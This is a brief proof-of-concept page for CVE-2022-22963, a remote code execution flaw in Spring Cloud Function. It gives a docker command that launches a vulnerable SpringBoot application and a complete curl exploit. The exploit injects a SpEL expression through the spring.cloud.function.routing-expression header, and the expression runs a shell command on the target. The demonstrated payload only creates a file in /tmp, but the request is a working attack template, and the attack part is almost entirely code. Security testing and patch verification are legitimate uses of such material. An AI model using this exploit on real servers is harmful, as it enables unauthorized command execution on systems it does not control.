CVE-2022-22963 - PoC Spring Java Framework 0-day Remote Code Execution Vulnerability

CVE-2022-22963 – PoC Spring Java Framework 0-day Remote Code Execution Vulnerability

To run the vulnerable SpringBoot application run this docker container exposing it to port 8080. Example:

docker run -it -d -p 8080:8080 bobcheat/springboot-public

Exploit

Curl command:

curl -i -s -k -X $'POST' -H $'Host: 192.168.1.2:8080' -H $'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("touch /tmp/test")' --data-binary $'exploit_poc' $'http://192.168.1.2:8080/functionRouter'

Or using Burp suite:

Credits

https://github.com/hktalent/spring-spel-0day-poc

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